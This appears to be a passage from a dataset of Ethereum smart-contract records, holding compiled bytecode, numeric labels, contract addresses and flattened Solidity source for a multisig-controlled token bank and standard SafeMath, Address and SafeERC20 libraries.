15611c3557fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff167f590e4b56e9e11eeec961dbbb248740c7f6b1aff7bd715dc75c76323bb2995e2160405160405180910390a260019050919050565b6000611cd5336123da565b1515611ce057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611d1c57600080fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611d7557600080fd5b611d7e8361248a565b151515611d8a57600080fd5b601260ff16600a0a6317d7840002611da4600f5484612471565b11151515611db157600080fd5b611e0382600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247190919063ffffffff16565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e5b8260095461247190919063ffffffff16565b600981905550611e7682600f5461247190919063ffffffff16565b600f819055508273ffffffffffffffffffffffffffffffffffffffff167fdc0e81936680a9e275bf3361400512a01894b3cf7091db0c1e21d94ef0dc528d836040518082815260200191505060405180910390a26001905092915050565b600080849050611ee48585610dc4565b15612049578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611fde578082015181840152602081019050611fc3565b50505050905090810190601f16801561200b5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b151561202c57600080fd5b6102c65a03f1151561203d57600080fd5b5050506001915061204a565b5b509392505050565b60056020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156120c757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561212557600080fd5b6002544211151561213557600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fa658d47e6ffdd7cc5e1fe15ed072f85c802862735ebb92ecc682dab91fd07a9560405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001905090565b600b602052816000526040600020602052806000526040600020600091509150505481565b60006122ad336123da565b15156122b857600080fd5b6122c1826123da565b1515156122cd57600080fd5b601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561232657600080fd5b6001601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f5ddadbfb5e5a8af3a12e5a94f0ab739b0a1ebf2bcff72c4230f44234b752feae6001604051808215151515815260200191505060405180910390a260019050919050565b60006123e582612712565b8061243c57508173ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b9050919050565b600081830290506000831480612463575081838281151561246057fe5b04145b151561246b57fe5b92915050565b6000818301905082811015151561248457fe5b92915050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054421115156124dd57600190506124de565b5b919050565b6000600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561257057600080fd5b6125ff82600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128fb90919063ffffffff16565b600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061268a848484612914565b503373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f09bae8ed0fcf87787d69c23f77d5a7fe74d2c19be8463912bc5551d048813735856040518082815260200191505060405180910390a4600190509392505050565b600080600090505b600560ff168160ff1610156127ae578273ffffffffffffffffffffffffffffffffffffffff1660038260ff1681548110151561275257fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156127a357600191506127af565b80600101905061271a565b5b50919050565b600080600090505b600560ff168160ff16101561285257600073ffffffffffffffffffffffffffffffffffffffff1660038260ff168154811015156127f657fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156128475760019150612853565b8060010190506127bd565b5b5090565b600080600090505b600560ff168160ff1610156128f657600073ffffffffffffffffffffffffffffffffffffffff1660038260ff1681548110151561289857fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156128eb578060ff1691506128f7565b80600101905061285f565b5b5090565b600082821115151561290957fe5b818303905092915050565b600061291f336123da565b151561294257600460009054906101000a900460ff1615151561294157600080fd5b5b601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561299b57600080fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156129f457600080fd5b6129fd8461248a565b151515612a0957600080fd5b612a128361248a565b151515612a1e57600080fd5b612a29848484612ad7565b90509392505050565b600080600090505b600560ff168160ff161015612ad0578273ffffffffffffffffffffffffffffffffffffffff1660038260ff16815481101515612a7257fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612ac5578060ff169150612ad1565b806001019050612a3a565b5b50919050565b600080600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515612b1657600080fd5b82600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515612b6457600080fd5b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bed600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205485612471565b111515612bf957600080fd5b612c81600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612471565b9050612cd583600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128fb90919063ffffffff16565b600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d6a83600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247190919063ffffffff16565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167ff51ac9361330b8b5120b4f20740309667afff70d6a4e9c238596dfa3ddc50aaa856040518082815260200191505060405180910390a380612e9b600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612471565b141515612ea457fe5b600191505093925050505600a165627a7a72305820d4fca15678273a1277c2f9d8b7821af09ebef54440617875e28b0cf472490a160029
[ 16, 4, 9, 7 ]
0xf31cc0677a2163e6d8fb2ffce7d5589759c5f236
// File: contracts/MultiSigInterface.sol pragma solidity >=0.4.21 <0.6.0; contract MultiSigInterface{ function update_and_check_reach_majority(uint64 id, string memory name, bytes32 hash, address sender) public returns (bool); function is_signer(address addr) public view returns(bool); } // File: contracts/MultiSigTools.sol pragma solidity >=0.4.21 <0.6.0; contract MultiSigTools{ MultiSigInterface public multisig_contract; constructor(address _contract) public{ require(_contract!= address(0x0)); multisig_contract = MultiSigInterface(_contract); } modifier only_signer{ require(multisig_contract.is_signer(msg.sender), "only a signer can call in MultiSigTools"); _; } modifier is_majority_sig(uint64 id, string memory name) { bytes32 hash = keccak256(abi.encodePacked(msg.sig, msg.data)); if(multisig_contract.update_and_check_reach_majority(id, name, hash, msg.sender)){ _; } } modifier is_majority_sig_with_hash(uint64 id, string memory name, bytes32 hash) { if(multisig_contract.update_and_check_reach_majority(id, name, hash, msg.sender)){ _; } } event TransferMultiSig(address _old, address _new); function transfer_multisig(uint64 id, address _contract) public only_signer is_majority_sig(id, "transfer_multisig"){ require(_contract != address(0x0)); address old = address(multisig_contract); multisig_contract = MultiSigInterface(_contract); emit TransferMultiSig(old, _contract); } } // File: contracts/TrustListTools.sol pragma solidity >=0.4.21 <0.6.0; contract TrustListInterface{ function is_trusted(address addr) public returns(bool); } contract TrustListTools{ TrustListInterface public trustlist; constructor(address _list) public { //require(_list != address(0x0)); trustlist = TrustListInterface(_list); } modifier is_trusted(address addr){ require(trustlist.is_trusted(addr), "not a trusted issuer"); _; } } // File: contracts/erc20/IERC20.sol pragma solidity >=0.4.21 <0.6.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/utils/TokenClaimer.sol pragma solidity >=0.4.21 <0.6.0; contract TokenClaimer{ event ClaimedTokens(address indexed _token, address indexed _to, uint _amount); /// @notice This method can be used by the controller to extract mistakenly /// sent tokens to this contract. /// @param _token The address of the token contract that you want to recover /// set to 0 in case you want to extract ether. function _claimStdTokens(address _token, address payable to) internal { if (_token == address(0x0)) { to.transfer(address(this).balance); return; } uint balance = IERC20(_token).balanceOf(address(this)); (bool status,) = _token.call(abi.encodeWithSignature("transfer(address,uint256)", to, balance)); require(status, "call failed"); emit ClaimedTokens(_token, to, balance); } } // File: contracts/utils/Ownable.sol pragma solidity >=0.4.21 <0.6.0; contract Ownable { address private _contract_owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = msg.sender; _contract_owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _contract_owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_contract_owner == msg.sender, "Ownable: caller is not the owner"); _; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_contract_owner, newOwner); _contract_owner = newOwner; } } // File: contracts/utils/SafeMath.sol pragma solidity >=0.4.21 <0.6.0; library SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a, "add"); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a, "sub"); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b, "mul"); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0, "div"); c = a / b; } } // File: contracts/utils/Address.sol pragma solidity >=0.4.21 <0.6.0; library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } // File: contracts/erc20/SafeERC20.sol pragma solidity >=0.4.21 <0.6.0; library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).safeAdd(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).safeSub(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: contracts/assets/TokenBankV2.sol pragma solidity >=0.4.21 <0.6.0; contract TokenBankV2 is Ownable, TokenClaimer, TrustListTools{ using SafeERC20 for IERC20; string public bank_name; //address public erc20_token_addr; event withdraw_token(address token, address to, uint256 amount); event issue_token(address token, address to, uint256 amount); event RecvETH(uint256 v); function() external payable{ emit RecvETH(msg.value); } constructor(string memory name, address _tlist) TrustListTools(_tlist) public{ bank_name = name; } function claimStdTokens(address _token, address payable to) public onlyOwner{ _claimStdTokens(_token, to); } function balance(address erc20_token_addr) public view returns(uint){ if(erc20_token_addr == address(0x0)){ return address(this).balance; } return IERC20(erc20_token_addr).balanceOf(address(this)); } function transfer(address erc20_token_addr, address payable to, uint tokens) public onlyOwner returns (bool success){ require(tokens <= balance(erc20_token_addr), "TokenBankV2 not enough tokens"); if(erc20_token_addr == address(0x0)){ (bool _success, ) = to.call.value(tokens)(""); require(_success, "TokenBankV2 transfer eth failed"); emit withdraw_token(erc20_token_addr, to, tokens); return true; } IERC20(erc20_token_addr).safeTransfer(to, tokens); emit withdraw_token(erc20_token_addr, to, tokens); return true; } function issue(address erc20_token_addr, address payable _to, uint _amount) public is_trusted(msg.sender) returns (bool success){ require(_amount <= balance(erc20_token_addr), "TokenBankV2 not enough tokens"); if(erc20_token_addr == address(0x0)){ (bool _success, ) = _to.call.value(_amount)(""); require(_success, "TokenBankV2 transfer eth failed"); emit issue_token(erc20_token_addr, _to, _amount); return true; } IERC20(erc20_token_addr).safeTransfer(_to, _amount); emit issue_token(erc20_token_addr, _to, _amount); return true; } } contract TokenBankV2Factory { event CreateTokenBank(string name, address addr); function newTokenBankV2(string memory name, address tlist) public returns(address){ TokenBankV2 addr = new TokenBankV2(name, tlist); emit CreateTokenBank(name, address(addr)); addr.transferOwnership(msg.sender); return address(addr); } }
0x60806040526004361061007b5760003560e01c8063b61399921161004e578063b6139992146101bd578063beabacc814610214578063e3d670d714610257578063f2fde38b1461029c5761007b565b80630a396440146100b0578063128873dd1461013a5780638da5cb5b14610177578063a21efbda146101a8575b6040805134815290517f88817d61020445ee452f5f17f78019fe724199337d2e16c0b94176c00a88e2849181900360200190a1005b3480156100bc57600080fd5b506100c56102cf565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100ff5781810151838201526020016100e7565b50505050905090810190601f16801561012c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561014657600080fd5b506101756004803603604081101561015d57600080fd5b506001600160a01b038135811691602001351661035a565b005b34801561018357600080fd5b5061018c6103c7565b604080516001600160a01b039092168252519081900360200190f35b3480156101b457600080fd5b5061018c6103d6565b3480156101c957600080fd5b50610200600480360360608110156101e057600080fd5b506001600160a01b038135811691602081013590911690604001356103e5565b604080519115158252519081900360200190f35b34801561022057600080fd5b506102006004803603606081101561023757600080fd5b506001600160a01b0381358116916020810135909116906040013561067d565b34801561026357600080fd5b5061028a6004803603602081101561027a57600080fd5b50356001600160a01b03166108b1565b60408051918252519081900360200190f35b3480156102a857600080fd5b50610175600480360360208110156102bf57600080fd5b50356001600160a01b0316610943565b6002805460408051602060018416156101000260001901909316849004601f810184900484028201840190925281815292918301828280156103525780601f1061032757610100808354040283529160200191610352565b820191906000526020600020905b81548152906001019060200180831161033557829003601f168201915b505050505081565b6000546001600160a01b031633146103b9576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6103c382826109ae565b5050565b6000546001600160a01b031690565b6001546001600160a01b031681565b60015460408051632153522560e11b8152336004820181905291516000936001600160a01b0316916342a6a44a91602480830192602092919082900301818887803b15801561043357600080fd5b505af1158015610447573d6000803e3d6000fd5b505050506040513d602081101561045d57600080fd5b50516104a7576040805162461bcd60e51b81526020600482015260146024820152733737ba1030903a393ab9ba32b21034b9b9bab2b960611b604482015290519081900360640190fd5b6104b0856108b1565b831115610504576040805162461bcd60e51b815260206004820152601d60248201527f546f6b656e42616e6b5632206e6f7420656e6f75676820746f6b656e73000000604482015290519081900360640190fd5b6001600160a01b03851661060c576040516000906001600160a01b0386169085908381818185875af1925050503d806000811461055d576040519150601f19603f3d011682016040523d82523d6000602084013e610562565b606091505b50509050806105b8576040805162461bcd60e51b815260206004820152601f60248201527f546f6b656e42616e6b5632207472616e7366657220657468206661696c656400604482015290519081900360640190fd5b604080516001600160a01b0380891682528716602082015280820186905290517f4c43e932490af3f9bccfdba8571f82aa82b5f7eaf7fbb4a26cb119a62e577a1f9181900360600190a16001925050610675565b6106266001600160a01b038616858563ffffffff610be716565b604080516001600160a01b0380881682528616602082015280820185905290517f4c43e932490af3f9bccfdba8571f82aa82b5f7eaf7fbb4a26cb119a62e577a1f9181900360600190a1600191505b509392505050565b600080546001600160a01b031633146106dd576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6106e6846108b1565b82111561073a576040805162461bcd60e51b815260206004820152601d60248201527f546f6b656e42616e6b5632206e6f7420656e6f75676820746f6b656e73000000604482015290519081900360640190fd5b6001600160a01b038416610842576040516000906001600160a01b0385169084908381818185875af1925050503d8060008114610793576040519150601f19603f3d011682016040523d82523d6000602084013e610798565b606091505b50509050806107ee576040805162461bcd60e51b815260206004820152601f60248201527f546f6b656e42616e6b5632207472616e7366657220657468206661696c656400604482015290519081900360640190fd5b604080516001600160a01b0380881682528616602082015280820185905290517f35579f0c79dc131799efacfb60f9120e2530a6aa6ca46ccdaaa9d083ced65c8a9181900360600190a160019150506108aa565b61085c6001600160a01b038516848463ffffffff610be716565b604080516001600160a01b0380871682528516602082015280820184905290517f35579f0c79dc131799efacfb60f9120e2530a6aa6ca46ccdaaa9d083ced65c8a9181900360600190a15060015b9392505050565b60006001600160a01b0382166108c95750303161093e565b604080516370a0823160e01b815230600482015290516001600160a01b038416916370a08231916024808301926020929190829003018186803b15801561090f57600080fd5b505afa158015610923573d6000803e3d6000fd5b505050506040513d602081101561093957600080fd5b505190505b919050565b6000546001600160a01b031633146109a2576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6109ab81610c3e565b50565b6001600160a01b0382166109f8576040516001600160a01b03821690303180156108fc02916000818181858888f193505050501580156109f2573d6000803e3d6000fd5b506103c3565b604080516370a0823160e01b815230600482015290516000916001600160a01b038516916370a0823191602480820192602092909190829003018186803b158015610a4257600080fd5b505afa158015610a56573d6000803e3d6000fd5b505050506040513d6020811015610a6c57600080fd5b5051604080516001600160a01b038581166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b178152925182519495506000949188169390918291908083835b60208310610aeb5780518252601f199092019160209182019101610acc565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610b4d576040519150601f19603f3d011682016040523d82523d6000602084013e610b52565b606091505b5050905080610b96576040805162461bcd60e51b815260206004820152600b60248201526a18d85b1b0819985a5b195960aa1b604482015290519081900360640190fd5b826001600160a01b0316846001600160a01b03167ff931edb47c50b4b4104c187b5814a9aef5f709e17e2ecf9617e860cacade929c846040518082815260200191505060405180910390a350505050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610c39908490610cde565b505050565b6001600160a01b038116610c835760405162461bcd60e51b8152600401808060200182810382526026815260200180610ed96026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b610cf0826001600160a01b0316610e9c565b610d41576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b60208310610d7f5780518252601f199092019160209182019101610d60565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610de1576040519150601f19603f3d011682016040523d82523d6000602084013e610de6565b606091505b509150915081610e3d576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b805115610e9657808060200190516020811015610e5957600080fd5b5051610e965760405162461bcd60e51b815260040180806020018281038252602a815260200180610eff602a913960400191505060405180910390fd5b50505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708115801590610ed05750808214155b94935050505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573735361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a265627a7a72305820c85e73acfafb65daada5f246085353baf86e0c8b10d530d7fffbbeffb9da6f8d64736f6c634300050a0032
[ 7 ]
0xf31cdd92aeb9fb5c24bb3107ab4361d9d06341c6
pragma solidity ^0.6.6; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` 